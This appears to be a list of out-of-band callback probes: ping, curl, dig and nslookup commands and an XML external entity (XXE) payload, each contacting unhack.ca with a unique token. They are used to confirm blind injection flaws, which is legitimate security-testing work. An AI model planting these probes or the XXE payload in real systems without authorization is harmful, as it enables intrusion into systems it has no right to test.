$ ping -c1 -p 0069f1a923aec8d8f70422a9c2d45100 unhack.ca
 

$ curl http://unhack.ca/p/69f1a923aec8d8f70422a9c2d451
 

$ dig 69f1a923aec8d8f70422a9c2d451 @unhack.ca
 

$ dig 69f1a923aec8d8f70422a9c2d451.ns.unhack.ca
 

C:\> nslookup 69f1a923aec8d8f70422a9c2d451 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/69f1a923aec8d8f70422a9c2d451">]>
    <foo>&xxe;</foo>